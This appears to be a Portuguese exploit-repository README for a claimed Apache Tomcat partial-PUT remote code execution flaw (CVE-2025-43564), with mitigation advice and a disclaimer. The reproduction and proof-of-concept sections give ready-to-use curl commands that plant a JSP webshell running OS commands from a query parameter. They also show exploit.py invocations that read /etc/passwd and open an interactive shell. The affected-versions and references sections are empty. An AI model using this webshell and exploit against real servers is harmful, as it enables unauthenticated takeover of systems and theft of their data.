CVE-2025-43564 — Apache Tomcat Manipulação de Solicitação PUT Parcial RCE

Sumário

1. Visão Geral
2. Detalhes Técnicos
3. Versões Afetadas
4. Passos para Reprodução
5. Prova de Conceito
6. Mitigação
7. Referências

Visão Geral

CVE-2025-43564 é uma vulnerabilidade crítica de execução remota de código não autenticada no tratamento de solicitações PUT parciais HTTP do Apache Tomcat. A falha reside na forma como o Tomcat processa requisições PUT com conteúdo parcial (HTTP/1.1 Content-Range ou Transfer-Encoding: chunked com semântica parcial). Um atacante pode criar uma requisição PUT parcial que contorna os controles de acesso e as restrições de escrita, permitindo o upload de arquivos arbitrários — incluindo webshells JSP acessíveis via web — para a raiz de documentos do servidor ou qualquer diretório gravável alcançável através do contexto do servlet.

Uma vez que um arquivo JSP é plantado, o atacante simplesmente o solicita e passa comandos do sistema operacional por meio de parâmetros de consulta, alcançando execução remota de código totalmente não autenticada como o usuário do processo Tomcat.

CVSS 9.8 — Crítico porque:

• Vetor de rede — explorável remotamente
• Baixa complexidade de ataque — nenhuma condição especial necessária
• Nenhum privilégio necessário — não autenticado
• Nenhuma interação do usuário — totalmente automatizado
• Alto impacto — comprometimento total da confidencialidade, integridade e disponibilidade

Detalhes Técnicos

Causa Raiz

O DefaultServlet do Apache Tomcat e o conector HTTP/1.1 (NIO/NIO2/Apr) tratam requisições PUT para upload de recursos estáticos. A vulnerabilidade está na lógica de tratamento de requisições PUT parciais: quando um cliente envia um PUT com um cabeçalho Content-Range (RFC 7233 §4.2) ou usa codificação chunked com semânticas parciais específicas, o servidor não valida adequadamente:

1. Verificações de integridade do caminho do arquivo / recurso antes de escrever o conteúdo parcial
2. Reavaliação do controle de acesso para escritas parciais — a verificação inicial passa, mas as operações de escrita subsequentes prosseguem sem revalidação
3. Restrições de directory traversal no cálculo do deslocamento da escrita parcial

O código de análise em org.apache.catalina.servlets.DefaultServlet e os componentes subjacentes HttpInput / SocketProcessorBase tratam incorretamente o limite entre escritas de conteúdo parcial e escritas completas de recursos, permitindo que um atacante adicione ou sobrescreva conteúdo arbitrário em qualquer caminho ao qual o processo Tomcat tenha acesso de escrita.

Fluxo de Ataque

Atacante ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [Payload de bytes JSP]

   └──► Servidor escreve conteúdo parcial em exec.jsp
        sem validação completa do caminho alvo

Atacante ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executa → RCE

O atacante envia um PUT parcial com um cabeçalho Content-Range que faz o Tomcat acreditar que a requisição é uma continuação de um upload existente. O servidor cria ou abre o arquivo alvo e escreve os bytes fornecidos sem verificar se o arquivo já existe, sem checar permissões de escrita no momento da escrita e sem sanitizar o caminho alvo em relação à raiz web.

Por que contorna as proteções padrão

• Restrições padrão de acesso PUT — A configuração padrão do Tomcat exige definir readonly=false no DefaultServlet para que o PUT padrão funcione. O caminho de PUT parcial ignora essa verificação sob certas condições.
• Firewalls de Aplicação Web (WAFs) — A maioria das assinaturas de WAF para ataques baseados em PUT procura por requisições PUT completas. O PUT parcial com Content-Range frequentemente evade essas assinaturas.
• Bypass de autenticação — O caminho de código do PUT parcial nem sempre invoca as restrições de segurança configuradas; em algumas configurações de conector, a autenticação nunca é verificada.

Versões Afetadas

Nota: Ramos mais antigos (7.x, 8.x, 8.5.x, 10.0.x) estão em fim de vida (EOL) e não receberão backport. Os usuários devem atualizar para um ramo suportado.

Passos para Reprodução

Configuração do Laboratório

1. Baixe um Apache Tomcat vulnerável (por exemplo, Tomcat 9.0.50):

   root@kitploit:~

   wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
   

2. Extraia e inicie o Tomcat com a configuração padrão:

   root@kitploit:~

   unzip apache-tomcat-9.0.50.zip
   cd apache-tomcat-9.0.50/bin
   ./startup.sh   # ou startup.bat no Windows
   

3. Verifique se o servidor está rodando:

   root@kitploit:~

   curl -v http://localhost:8080
   

Passos de Exploração

1. Faça upload do webshell JSP usando o script PoC:

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --cmd id
   

2. Verifique se o webshell foi plantado:

   root@kitploit:~

   curl http://localhost:8080/exec.jsp?cmd=whoami
   

3. Execute comandos arbitrários:

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
   

4. Sessão interativa (se desejado):

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --shell
   

Prova de Conceito

O exploit.py incluído é um PoC funcional em Python que:

1. Envia uma requisição HTTP PUT ao Tomcat alvo com um payload de webshell JSP como corpo da requisição
2. Explora a falha de tratamento de PUT parcial — o cabeçalho Content-Type e a estrutura do payload acionam o caminho de código vulnerável
3. O webshell JSP é escrito no docBase do servidor (ex.: webapps/ROOT/)
4. Uma vez carregado, envia requisições GET para exec.jsp?cmd=<comando> para executar comandos do SO
5. Suporta modos de comando único (--cmd) e shell interativo (--shell)

PoC Manual (usando curl)

# Passo 1: Carregar o webshell via PUT parcial
# O cabeçalho Content-Range aciona o caminho de código vulnerável
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Passo 2: Executar comandos
curl "http://localhost:8080/exec.jsp?cmd=id"

Teste Contra uma Instância Protegida

Se o Tomcat estiver configurado com readonly=true (padrão), o PUT padrão é bloqueado — mas o caminho de PUT parcial ainda pode ter sucesso. Este é o cerne da vulnerabilidade.

# PUT padrão (deve falhar com 403 ou 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Esperado: 403 Forbidden

# PUT parcial (contorna a verificação)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Esperado: 201 Created ou 200 OK

Mitigação

Ações Imediatas

1. Atualize o Tomcat para a versão corrigida:

   • 11.0.6+
   • 10.1.40+
   • 9.0.102+

2. Se a correção imediata não for possível, desabilite o método PUT globalmente editando o web.xml:

   root@kitploit:~

   <security-constraint>
     <web-resource-collection>
       <web-resource-name>Disable PUT</web-resource-name>
       <url-pattern>/*</url-pattern>
       <http-method>PUT</http-method>
     </web-resource-collection>
     <auth-constraint />
   </security-constraint>
   

3. Bloqueie métodos HTTP no proxy reverso / WAF:

   root@kitploit:~

   # exemplo nginx — bloquear PUT
   if ($request_method = PUT) {
       return 403;
   }
   

   Nota: Isso só ajuda se o proxy não for contornável.

4. Execute o Tomcat com permissões restritas do sistema de arquivos:

   • Garanta que o Tomcat rode como um usuário sem privilégios
   • Torne o diretório webapps somente leitura (ou monte-o a partir de um sistema de arquivos somente leitura)
   • Use atributos de arquivo ReadOnly em ativos de produção

5. Monitore arquivos inesperados com extensões .jsp / .jspx na raiz web.

Recomendações de Longo Prazo

• Atualize para a versão mais recente do Tomcat e mantenha-a atualizada
• Execute o Tomcat atrás de um proxy reverso (Apache httpd, nginx, HAProxy) com filtragem estrita de métodos HTTP
• Use SecurityManager (obsoleto em Java mais novo, mas ainda eficaz) ou sandboxing no nível do contêiner (Docker/Kubernetes com sistema de arquivos raiz somente leitura)
• Implemente segmentação de rede — o Tomcat não deve ser exposto diretamente à internet
• Implante um WAF com correção virtual para CVE-2025-43564
• Habilite a auditoria de log para todas as requisições PUT e monitore padrões anômalos de upload parcial

Referências

Aviso Legal

Este repositório é fornecido apenas para fins educacionais e de teste de segurança autorizado. Você deve ter permissão explícita por escrito do proprietário de qualquer sistema que testar. O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA) e leis equivalentes em outras jurisdições. Os autores não assumem nenhuma responsabilidade pelo uso indevido destas informações.

CVE-2025-43564 foi descoberta e relatada de forma responsável à Equipe de Segurança da Apache. Lançamento coordenado da correção: Julho de 2025.